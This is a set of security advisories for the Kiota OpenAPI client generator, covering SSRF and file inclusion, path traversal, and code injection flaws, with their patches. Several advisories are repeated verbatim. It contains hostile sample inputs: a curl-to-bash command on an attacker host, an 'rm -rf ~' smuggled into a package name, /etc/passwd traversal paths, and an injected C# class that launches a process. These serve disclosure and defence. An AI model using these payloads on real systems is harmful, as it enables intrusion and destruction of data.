Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7888). External reference resolution is now default-deny: a new AllowedExternalOriginsStreamLoader refuses to load any external $ref — remote http(s) URLs and local file paths alike — unless its origin/path is explicitly allow-listed. A new --allowed-external-origins parameter (added to the commands that load OpenAPI descriptions) opts specific origins back in, accepting *, full URIs, URI patterns, full paths, relative paths, or path patterns (wildcards supported). With no allow-list entries, external references are not loaded at all.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. External references now require explicit opt-in via --allowed-external-origins; add only trusted origins/paths.

Summary

kiota plugin add / kiota plugin generate (with -t APIPlugin) emits an attacker-controlled static_template.file path from the AI-plugin extensions (x-ai-adaptive-card, x-ai-capabilities) verbatim, with no path validation, into the generated Microsoft 365 Copilot / Teams plugin manifest (<name>-apiplugin.json). An attacker-controlled or compromised OpenAPI description can therefore embed a ../ / absolute path into the manifest's response_semantics.static_template.file, yielding a path traversal (CWE-22) / out-of-package file inclusion (CWE-829) that is resolved by the AI host when the generated plugin is deployed.

Confirmed on Kiota 1.32.4 (KIOTA_CONFIG_PREVIEW=true, the self-contained linux-x64 release binary).

Details

Both extension paths write the static_template.file reference straight into the manifest without sanitization — PluginsGenerationService.GetResponseSemanticsFromAdaptiveCardExtension mints static_template = {"file": <File>}, and the x-ai-capabilities path copies the static_template object through:

# spec                                                  -> generated manifest (functions[].capabilities.response_semantics)
x-ai-adaptive-card: {title: T, data_path: $.x,
   file: "../../../../../../etc/passwd"}                -> static_template.file = "../../../../../../etc/passwd"   (CWE-22)
x-ai-capabilities.response_semantics.static_template:
   {file: "../../../../../../etc/passwd"}               -> static_template.file = "../../../../../../etc/passwd"   (CWE-22)

(x-ai-adaptive-card.file only reaches the manifest when title is set, so GetResponseSemanticsFromAdaptiveCardExtension fires; otherwise kiota writes its own template card instead.)

Impact

This is not local code execution on the build host. The injected path is written into the generated plugin manifest and realized downstream, when the plugin is packaged and sideloaded / deployed to an AI host (Microsoft 365 Copilot / Teams) that resolves static_template.file relative to the plugin package (out-of-package file reference via ../). Kiota is the propagation point: it fails to reject ../ and absolute paths in this provider-supplied field before writing it into the manifest.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7892). static_template.file from both x-ai-adaptive-card and x-ai-capabilities is validated as a relative path confined to the plugin output package: absolute URIs, rooted/UNC paths, Windows drive paths, and .. traversal segments are rejected, and unsafe references are dropped with a warning. Regression tests cover .., absolute paths, and URI values.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5 or later and regenerate affected plugins.

Impact

The Kiota PHP code generator is vulnerable to a code generation literal injection attack. The generator embeds string values from OpenAPI fields (e.g. description, default values, and property names) directly into PHP double-quoted string literals without properly escaping the $ character. Since PHP evaluates string interpolation expressions like "${expr}", "$var", and "{$obj->prop}" within double-quoted strings at runtime, an attacker who controls an OpenAPI specification file can inject arbitrary PHP code into generated model and request-builder classes.

Who is impacted

Developers using Kiota to generate PHP API clients from external or untrusted OpenAPI specifications

Teams with CI/CD pipelines configured to automatically regenerate client code from remote specs

Applications that deploy generated PHP code to production servers

Vulnerability details

Affected component: StringExtensions.cs

Root cause: The shared SanitizeDoubleQuote() function in Writers/StringExtensions.cs does not escape the $ character. As a result, any schema-derived string emitted as a PHP double-quoted literal preserves $-prefixed interpolation constructs (${...}, $var, {$...}) verbatim, which PHP evaluates at runtime instead of treating as literal text. This is the same class of code-generation literal-injection flaw previously fixed for the Ruby generator (# interpolation), recurring here as a missed variant for PHP's $ interpolation in the sibling sanitizer helper.

Attack vectors

OpenAPI description and default fields in schema properties

Property wire-name keys embedded in deserializer/serializer methods

Any schema-derived string embedded in PHP double-quoted literals

Severity: Critical when generated code reaches production; High for CI/CD environments with access to production secrets; Medium for public third-party specs; Low for developer-controlled specs.

Patches

#7863

Workarounds

If you cannot upgrade immediately:

1. Audit and sanitize OpenAPI specifications: Review all OpenAPI specification files for any descriptions, default values, or property names containing the $ character. Remove or replace any suspicious strings before code generation.
2. Code review of generated files: Implement mandatory code review of all generated PHP files before merging into any branch. Look for double-quoted strings containing ${, $var, or {$ patterns.
3. Restrict specification sources: Only consume OpenAPI specifications from trusted internal sources. Avoid automatic code generation from external or third-party APIs until this patch is applied.
4. Isolate generated code from production: Do not deploy generated PHP models to production environments unless the specification source has been verified and reviewed.
5. Manual escaping (temporary): If regeneration is not possible, manually inspect and edit generated files to escape any $ characters in double-quoted string literals (replace $ with \$).

Remediation

Upgrade Kiota to 1.29.1, 1.32.4, or later.

Regenerate/refresh existing generated clients as a precaution:

Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output.

Summary

Kiota versions prior to 1.32.3 and 1.29.1 are affected by a code-generation injection vulnerability in the C# XML documentation-comment sink (the description, externalDocs label, and externalDocs link fields emitted as /// … comments).

When text from an OpenAPI description is written into single-line XML doc comments without stripping newline and Unicode line-terminator characters, an attacker can break out of the /// comment line and inject additional code into generated C# clients.

Impact and Preconditions

This issue is only practically exploitable when:

1. the OpenAPI description used for generation is from an untrusted source, or
2. a normally trusted OpenAPI description has been compromised/tampered with.

The injected code is compiled (and may execute) when the developer or CI builds the generated client. If you only generate from trusted, integrity-protected API descriptions, risk is significantly reduced.

Affected Versions

• Affected: all versions < 1.29.1, >= 1.30.0, < 1.32.3
• Fixed: 1.29.1, 1.32.3, and later

Illustrative Exploit Example

Example OpenAPI fragment (malicious description)

openapi: 3.0.1
info:
  title: Exploit Demo
  version: 1.0.0
  description: |-
    Legitimate summary text
    public static class Pwned { static Pwned() { System.Diagnostics.Process.Start("calc.exe"); } }

The newline inside description (also exploitable via \r, U+0085, U+2028, U+2029) terminates the doc-comment line.

Example generated C# snippet before fix (illustrative)

/// Legitimate summary text
public static class Pwned { static Pwned() { System.Diagnostics.Process.Start("calc.exe"); } }

The injected payload escapes the intended /// comment context and introduces attacker-controlled statements in generated code.

Note: this exploit is not limited to the description field, but may also impact the externalDocs label and link text and other doc-comment-derived locations.

Remediation

1. Upgrade Kiota to 1.32.3 or later.
2. Regenerate/refresh existing generated clients as a precaution:

Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output. The fix (PR microsoft/kiota#7831) strips \r, \n, \u0085, \u2028, \u2029 (and normalizes tabs) from description, label, and link text before emitting doc comments.

Summary

Microsoft Kiota emitted the x-ms-kiota-info extension's clientClassName or clientNamespaceName value raw, with no identifier or path sanitization, as both the generated client's class/namespace name and part of the generated output path. When kiota generate is run without -c/--class-name — the zero-config workflow that x-ms-kiota-info is explicitly designed for (the API provider supplies the names in the description so consumers don't have to) — an attacker who controls or tampers with the OpenAPI description could therefore:

• (CWE-22) write the generated source file to a path outside the -o output directory — e.g. clientClassName: "/var/www/html/shell"; and
• (CWE-94) inject arbitrary text into the generated class/namespace declaration, corrupting the generated client.

Confirmed on Kiota 1.32.4 (the self-contained linux-x64 release binary), i.e. after the earlier writer-sink hardening — that fix escaped property/enum/default/serialization sinks but never sanitized the provider-supplied clientClassName / clientNamespaceName.

Details

clientClassName reached two unsanitized sinks (observed in the generated C#; the same raw emission occurred for Java, Go, TypeScript, Python, and PHP):

# output FILENAME (CWE-22): clientClassName flows into the file path
clientClassName: "/abs/path/PWNED"   ->   /abs/path/PWNED.cs   (written outside -o)

# class declaration (CWE-94): clientClassName flows verbatim into the type declaration
clientClassName: 'Pwn { } public class INJECTED { } public partial class RealClient'
   ->  public partial class Pwn { } public class INJECTED { } public partial class RealClient : ... { }

clientNamespaceName reached the analogous namespace/path sinks.

Impact

A developer or CI host generating a client from an attacker-controlled or compromised OpenAPI description (without -c) could create/overwrite a generated source file at an attacker-influenced path and emit attacker-controlled text into the generated client.

This does not reach clean remote code execution: because clientClassName is reused verbatim at multiple sites (the class name and the constructor name), injected code cannot be made to compile — it breaks the build. So the code-injection vector is a generation/build-corruption (integrity/DoS), and the high-severity primitive is the file write. CWE-22 / CWE-94.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7884). clientClassName and clientNamespaceName sourced from x-ms-kiota-info are now sanitized before use: GenerationConfiguration.SanitizeClientClassName strips any character outside [A-Za-z0-9_] and any invalid leading character (falling back to ApiClient), and SanitizeClientNamespaceName restricts to [A-Za-z0-9._-], collapses consecutive dots, strips invalid leading characters (falling back to ApiSdk). This removes path separators, drive/colon, .., quotes, and braces, so the values can no longer influence the output path or inject into the declaration.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later and regenerate affected clients.

Summary

kiota info — the command developers run to learn which packages to install after generating a client — read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied dependencyInstallCommand (and dependency name/version) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

$ kiota info -d <attacker-spec> -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g. dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it. kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output, could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Summary

Microsoft Kiota honors a poisoned .kiota/workspace.json — the workspace configuration that Kiota's documented team workflow has developers commit to their repository — unvalidated on kiota client generate / kiota plugin generate. A repository (or pull request) containing a malicious per-client / per-plugin outputPath causes Kiota, when a developer or CI runs the documented regenerate command, to (CWE-22) write the entire generated client to an arbitrary path outside the workspace — the outputPath was not confined to the workspace root and absolute paths were accepted.

Confirmed on Kiota 1.32.4 (KIOTA_CONFIG_PREVIEW=true, the self-contained linux-x64 release binary).

Details

// .kiota/workspace.json (committed to the repo)
"clients": { "MyClient": {
   "outputPath": "/abs/path/outside/repo/pwned_client"   // -> generated client written here (CWE-22)
}}

Running kiota client generate --client-name MyClient in the repo writes MyClient.cs, P/PRequestBuilder.cs, … to the attacker-chosen outputPath (verified outside the working tree).

Note on descriptionLocation

The per-consumer descriptionLocation is intentionally fetched at generation time — this is how Kiota knows where to pull an updated description from when refreshing a client, the same way any other value in a committed lock/config file is honored. It is not treated as a vulnerability and is unchanged; only outputPath is now confined.

Impact

A malicious or compromised repository — or a malicious PR that edits .kiota/workspace.json — leads to arbitrary file write on the developer's or CI host's filesystem (overwrite source/build files, drop files in auto-loaded locations) whenever a teammate clones/pulls and runs the documented kiota client generate / kiota plugin generate to refresh the client. CWE-22.

This is a different trust boundary from the OpenAPI-description-based findings: the malicious input is the Kiota config, not the spec.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7885). On loading a workspace configuration, each client/plugin outputPath is validated to be a relative subdirectory of the workspace: null/empty, rooted paths (POSIX /, UNC \\ / //, Windows drive X:\), and any .. traversal segment are rejected, and the resolved full path must stay under the workspace root. Generation aborts with an error if any consumer's outputPath escapes the workspace.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5 or later. Review any committed workspace configs for outputPath values that point outside the workspace.

Summary

Microsoft Kiota resolved OpenAPI $refs by fetching remote http(s) URLs and reading local files (including absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running kiota generate on a spec whose $ref pointed at an attacker/internal URL or an arbitrary local file yielded SSRF, remote file inclusion, and local file inclusion. Verified on 1.32.3 / 1.32.4.

Details

• $ref: http://attacker/internal-evil.json#/... → build host fetches the URL (SSRF) and inlines the remote schema (RFI); confirmed property REMOTE_KIOTA_PROP in the generated client.
• $ref: /abs/path.json#/... or ../../secret.json#/... → Kiota reads the out-of-tree local file and inlines its schema (LFI); confirmed Leaked schema in the generated client. Resolution is transitive across nesting levels.

Kiota escapes its output sinks (comments/strings/identifiers), so attacker-controlled remote/local content cannot break out into code — no RCE. The chain stops at SSRF + RFI + LFI.

Impact

Build-time SSRF (CWE-918) from the developer or CI host, disclosure of arbitrary local files (CWE-22), and inclusion of untrusted remote content (CWE-829), from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution. Notable because Kiota is otherwise the hardened generator (it resists the code-injection class).

The relevant threat is not "change the generated output" (an attacker who fully controls the description can already do that) but the side effects on the build host: outbound requests from inside the CI network (cloud metadata, internal-only services) and reads of local files the attacker never possessed, whose contents are then inlined into the generated — and typically committed/published — client. It also bypasses controls that review the description document but not externally-referenced content.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7888). External reference resolution is now default-deny: a new AllowedExternalOriginsStreamLoader refuses to load any external $ref — remote http(s) URLs and local file paths alike — unless its origin/path is explicitly allow-listed. A new --allowed-external-origins parameter (added to the commands that load OpenAPI descriptions) opts specific origins back in, accepting *, full URIs, URI patterns, full paths, relative paths, or path patterns (wildcards supported). With no allow-list entries, external references are not loaded at all.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. External references now require explicit opt-in via --allowed-external-origins; add only trusted origins/paths.

Summary

kiota plugin add / kiota plugin generate (with -t APIPlugin) emits an attacker-controlled static_template.file path from the AI-plugin extensions (x-ai-adaptive-card, x-ai-capabilities) verbatim, with no path validation, into the generated Microsoft 365 Copilot / Teams plugin manifest (<name>-apiplugin.json). An attacker-controlled or compromised OpenAPI description can therefore embed a ../ / absolute path into the manifest's response_semantics.static_template.file, yielding a path traversal (CWE-22) / out-of-package file inclusion (CWE-829) that is resolved by the AI host when the generated plugin is deployed.

Confirmed on Kiota 1.32.4 (KIOTA_CONFIG_PREVIEW=true, the self-contained linux-x64 release binary).

Details

Both extension paths write the static_template.file reference straight into the manifest without sanitization — PluginsGenerationService.GetResponseSemanticsFromAdaptiveCardExtension mints static_template = {"file": <File>}, and the x-ai-capabilities path copies the static_template object through:

# spec                                                  -> generated manifest (functions[].capabilities.response_semantics)
x-ai-adaptive-card: {title: T, data_path: $.x,
   file: "../../../../../../etc/passwd"}                -> static_template.file = "../../../../../../etc/passwd"   (CWE-22)
x-ai-capabilities.response_semantics.static_template:
   {file: "../../../../../../etc/passwd"}               -> static_template.file = "../../../../../../etc/passwd"   (CWE-22)

(x-ai-adaptive-card.file only reaches the manifest when title is set, so GetResponseSemanticsFromAdaptiveCardExtension fires; otherwise kiota writes its own template card instead.)

Impact

This is not local code execution on the build host. The injected path is written into the generated plugin manifest and realized downstream, when the plugin is packaged and sideloaded / deployed to an AI host (Microsoft 365 Copilot / Teams) that resolves static_template.file relative to the plugin package (out-of-package file reference via ../). Kiota is the propagation point: it fails to reject ../ and absolute paths in this provider-supplied field before writing it into the manifest.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7892). static_template.file from both x-ai-adaptive-card and x-ai-capabilities is validated as a relative path confined to the plugin output package: absolute URIs, rooted/UNC paths, Windows drive paths, and .. traversal segments are rejected, and unsafe references are dropped with a warning. Regression tests cover .., absolute paths, and URI values.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5 or later and regenerate affected plugins.

Impact

The Kiota PHP code generator is vulnerable to a code generation literal injection attack. The generator embeds string values from OpenAPI fields (e.g. description, default values, and property names) directly into PHP double-quoted string literals without properly escaping the $ character. Since PHP evaluates string interpolation expressions like "${expr}", "$var", and "{$obj->prop}" within double-quoted strings at runtime, an attacker who controls an OpenAPI specification file can inject arbitrary PHP code into generated model and request-builder classes.

Who is impacted

Developers using Kiota to generate PHP API clients from external or untrusted OpenAPI specifications

Teams with CI/CD pipelines configured to automatically regenerate client code from remote specs

Applications that deploy generated PHP code to production servers

Vulnerability details

Affected component: StringExtensions.cs

Root cause: The shared SanitizeDoubleQuote() function in Writers/StringExtensions.cs does not escape the $ character. As a result, any schema-derived string emitted as a PHP double-quoted literal preserves $-prefixed interpolation constructs (${...}, $var, {$...}) verbatim, which PHP evaluates at runtime instead of treating as literal text. This is the same class of code-generation literal-injection flaw previously fixed for the Ruby generator (# interpolation), recurring here as a missed variant for PHP's $ interpolation in the sibling sanitizer helper.

Attack vectors

OpenAPI description and default fields in schema properties

Property wire-name keys embedded in deserializer/serializer methods

Any schema-derived string embedded in PHP double-quoted literals

Severity: Critical when generated code reaches production; High for CI/CD environments with access to production secrets; Medium for public third-party specs; Low for developer-controlled specs.

Patches

#7863

Workarounds

If you cannot upgrade immediately:

1. Audit and sanitize OpenAPI specifications: Review all OpenAPI specification files for any descriptions, default values, or property names containing the $ character. Remove or replace any suspicious strings before code generation.
2. Code review of generated files: Implement mandatory code review of all generated PHP files before merging into any branch. Look for double-quoted strings containing ${, $var, or {$ patterns.
3. Restrict specification sources: Only consume OpenAPI specifications from trusted internal sources. Avoid automatic code generation from external or third-party APIs until this patch is applied.
4. Isolate generated code from production: Do not deploy generated PHP models to production environments unless the specification source has been verified and reviewed.
5. Manual escaping (temporary): If regeneration is not possible, manually inspect and edit generated files to escape any $ characters in double-quoted string literals (replace $ with \$).

Remediation

Upgrade Kiota to 1.29.1, 1.32.4, or later.

Regenerate/refresh existing generated clients as a precaution:

Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output.

Summary

Kiota versions prior to 1.32.3 and 1.29.1 are affected by a code-generation injection vulnerability in the C# XML documentation-comment sink (the description, externalDocs label, and externalDocs link fields emitted as /// … comments).

When text from an OpenAPI description is written into single-line XML doc comments without stripping newline and Unicode line-terminator characters, an attacker can break out of the /// comment line and inject additional code into generated C# clients.

Impact and Preconditions

This issue is only practically exploitable when:

1. the OpenAPI description used for generation is from an untrusted source, or
2. a normally trusted OpenAPI description has been compromised/tampered with.

The injected code is compiled (and may execute) when the developer or CI builds the generated client. If you only generate from trusted, integrity-protected API descriptions, risk is significantly reduced.

Affected Versions

• Affected: all versions < 1.29.1, >= 1.30.0, < 1.32.3
• Fixed: 1.29.1, 1.32.3, and later

Illustrative Exploit Example

Example OpenAPI fragment (malicious description)

openapi: 3.0.1
info:
  title: Exploit Demo
  version: 1.0.0
  description: |-
    Legitimate summary text
    public static class Pwned { static Pwned() { System.Diagnostics.Process.Start("calc.exe"); } }

The newline inside description (also exploitable via \r, U+0085, U+2028, U+2029) terminates the doc-comment line.

Example generated C# snippet before fix (illustrative)

/// Legitimate summary text
public static class Pwned { static Pwned() { System.Diagnostics.Process.Start("calc.exe"); } }

The injected payload escapes the intended /// comment context and introduces attacker-controlled statements in generated code.

Note: this exploit is not limited to the description field, but may also impact the externalDocs label and link text and other doc-comment-derived locations.

Remediation

1. Upgrade Kiota to 1.32.3 or later.
2. Regenerate/refresh existing generated clients as a precaution:

Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output. The fix (PR microsoft/kiota#7831) strips \r, \n, \u0085, \u2028, \u2029 (and normalizes tabs) from description, label, and link text before emitting doc comments.

Summary

Microsoft Kiota emitted the x-ms-kiota-info extension's clientClassName or clientNamespaceName value raw, with no identifier or path sanitization, as both the generated client's class/namespace name and part of the generated output path. When kiota generate is run without -c/--class-name — the zero-config workflow that x-ms-kiota-info is explicitly designed for (the API provider supplies the names in the description so consumers don't have to) — an attacker who controls or tampers with the OpenAPI description could therefore:

• (CWE-22) write the generated source file to a path outside the -o output directory — e.g. clientClassName: "/var/www/html/shell"; and
• (CWE-94) inject arbitrary text into the generated class/namespace declaration, corrupting the generated client.

Confirmed on Kiota 1.32.4 (the self-contained linux-x64 release binary), i.e. after the earlier writer-sink hardening — that fix escaped property/enum/default/serialization sinks but never sanitized the provider-supplied clientClassName / clientNamespaceName.

Details

clientClassName reached two unsanitized sinks (observed in the generated C#; the same raw emission occurred for Java, Go, TypeScript, Python, and PHP):

# output FILENAME (CWE-22): clientClassName flows into the file path
clientClassName: "/abs/path/PWNED"   ->   /abs/path/PWNED.cs   (written outside -o)

# class declaration (CWE-94): clientClassName flows verbatim into the type declaration
clientClassName: 'Pwn { } public class INJECTED { } public partial class RealClient'
   ->  public partial class Pwn { } public class INJECTED { } public partial class RealClient : ... { }

clientNamespaceName reached the analogous namespace/path sinks.

Impact

A developer or CI host generating a client from an attacker-controlled or compromised OpenAPI description (without -c) could create/overwrite a generated source file at an attacker-influenced path and emit attacker-controlled text into the generated client.

This does not reach clean remote code execution: because clientClassName is reused verbatim at multiple sites (the class name and the constructor name), injected code cannot be made to compile — it breaks the build. So the code-injection vector is a generation/build-corruption (integrity/DoS), and the high-severity primitive is the file write. CWE-22 / CWE-94.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7884). clientClassName and clientNamespaceName sourced from x-ms-kiota-info are now sanitized before use: GenerationConfiguration.SanitizeClientClassName strips any character outside [A-Za-z0-9_] and any invalid leading character (falling back to ApiClient), and SanitizeClientNamespaceName restricts to [A-Za-z0-9._-], collapses consecutive dots, strips invalid leading characters (falling back to ApiSdk). This removes path separators, drive/colon, .., quotes, and braces, so the values can no longer influence the output path or inject into the declaration.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later and regenerate affected clients.

Summary

kiota info — the command developers run to learn which packages to install after generating a client — read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied dependencyInstallCommand (and dependency name/version) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

$ kiota info -d <attacker-spec> -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g. dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it. kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output, could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Summary

Microsoft Kiota honors a poisoned .kiota/workspace.json — the workspace configuration that Kiota's documented team workflow has developers commit to their repository — unvalidated on kiota client generate / kiota plugin generate. A repository (or pull request) containing a malicious per-client / per-plugin outputPath causes Kiota, when a developer or CI runs the documented regenerate command, to (CWE-22) write the entire generated client to an arbitrary path outside the workspace — the outputPath was not confined to the workspace root and absolute paths were accepted.

Confirmed on Kiota 1.32.4 (KIOTA_CONFIG_PREVIEW=true, the self-contained linux-x64 release binary).

Details

// .kiota/workspace.json (committed to the repo)
"clients": { "MyClient": {
   "outputPath": "/abs/path/outside/repo/pwned_client"   // -> generated client written here (CWE-22)
}}

Running kiota client generate --client-name MyClient in the repo writes MyClient.cs, P/PRequestBuilder.cs, … to the attacker-chosen outputPath (verified outside the working tree).

Note on descriptionLocation

The per-consumer descriptionLocation is intentionally fetched at generation time — this is how Kiota knows where to pull an updated description from when refreshing a client, the same way any other value in a committed lock/config file is honored. It is not treated as a vulnerability and is unchanged; only outputPath is now confined.

Impact

A malicious or compromised repository — or a malicious PR that edits .kiota/workspace.json — leads to arbitrary file write on the developer's or CI host's filesystem (overwrite source/build files, drop files in auto-loaded locations) whenever a teammate clones/pulls and runs the documented kiota client generate / kiota plugin generate to refresh the client. CWE-22.

This is a different trust boundary from the OpenAPI-description-based findings: the malicious input is the Kiota config, not the spec.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7885). On loading a workspace configuration, each client/plugin outputPath is validated to be a relative subdirectory of the workspace: null/empty, rooted paths (POSIX /, UNC \\ / //, Windows drive X:\), and any .. traversal segment are rejected, and the resolved full path must stay under the workspace root. Generation aborts with an error if any consumer's outputPath escapes the workspace.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5 or later. Review any committed workspace configs for outputPath values that point outside the workspace.

Summary

Microsoft Kiota resolved OpenAPI $refs by fetching remote http(s) URLs and reading local files (including absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running kiota generate on a spec whose $ref pointed at an attacker/internal URL or an arbitrary local file yielded SSRF, remote file inclusion, and local file inclusion. Verified on 1.32.3 / 1.32.4.

Details

• $ref: http://attacker/internal-evil.json#/... → build host fetches the URL (SSRF) and inlines the remote schema (RFI); confirmed property REMOTE_KIOTA_PROP in the generated client.
• $ref: /abs/path.json#/... or ../../secret.json#/... → Kiota reads the out-of-tree local file and inlines its schema (LFI); confirmed Leaked schema in the generated client. Resolution is transitive across nesting levels.

Kiota escapes its output sinks (comments/strings/identifiers), so attacker-controlled remote/local content cannot break out into code — no RCE. The chain stops at SSRF + RFI + LFI.

Impact

Build-time SSRF (CWE-918) from the developer or CI host, disclosure of arbitrary local files (CWE-22), and inclusion of untrusted remote content (CWE-829), from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution. Notable because Kiota is otherwise the hardened generator (it resists the code-injection class).

The relevant threat is not "change the generated output" (an attacker who fully controls the description can already do that) but the side effects on the build host: outbound requests from inside the CI network (cloud metadata, internal-only services) and reads of local files the attacker never possessed, whose contents are then inlined into the generated — and typically committed/published — client. It also bypasses controls that review the description document but not externally-referenced content.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7888). External reference resolution is now default-deny: a new AllowedExternalOriginsStreamLoader refuses to load any external $ref — remote http(s) URLs and local file paths alike — unless its origin/path is explicitly allow-listed. A new --allowed-external-origins parameter (added to the commands that load OpenAPI descriptions) opts specific origins back in, accepting *, full URIs, URI patterns, full paths, relative paths, or path patterns (wildcards supported). With no allow-list entries, external references are not loaded at all.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. External references now require explicit opt-in via --allowed-external-origins; add only trusted origins/paths.

Summary

kiota plugin add / kiota plugin generate (with -t APIPlugin) emits an attacker-controlled static_template.file path from the AI-plugin extensions (x-ai-adaptive-card, x-ai-capabilities) verbatim, with no path validation, into the generated Microsoft 365 Copilot / Teams plugin manifest (<name>-apiplugin.json). An attacker-controlled or compromised OpenAPI description can therefore embed a ../ / absolute path into the manifest's response_semantics.static_template.file, yielding a path traversal (CWE-22) / out-of-package file inclusion (CWE-829) that is resolved by the AI host when the generated plugin is deployed.

Confirmed on Kiota 1.32.4 (KIOTA_CONFIG_PREVIEW=true, the self-contained linux-x64 release binary).

Details

Both extension paths write the static_template.file reference straight into the manifest without sanitization — PluginsGenerationService.GetResponseSemanticsFromAdaptiveCardExtension mints static_template = {"file": <File>}, and the x-ai-capabilities path copies the static_template object through:

# spec                                                  -> generated manifest (functions[].capabilities.response_semantics)
x-ai-adaptive-card: {title: T, data_path: $.x,
   file: "../../../../../../etc/passwd"}                -> static_template.file = "../../../../../../etc/passwd"   (CWE-22)
x-ai-capabilities.response_semantics.static_template:
   {file: "../../../../../../etc/passwd"}               -> static_template.file = "../../../../../../etc/passwd"   (CWE-22)

(x-ai-adaptive-card.file only reaches the manifest when title is set, so GetResponseSemanticsFromAdaptiveCardExtension fires; otherwise kiota writes its own template card instead.)

Impact

This is not local code execution on the build host. The injected path is written into the generated plugin manifest and realized downstream, when the plugin is packaged and sideloaded / deployed to an AI host (Microsoft 365 Copilot / Teams) that resolves static_template.file relative to the plugin package (out-of-package file reference via ../). Kiota is the propagation point: it fails to reject ../ and absolute paths in this provider-supplied field before writing it into the manifest.

Patches

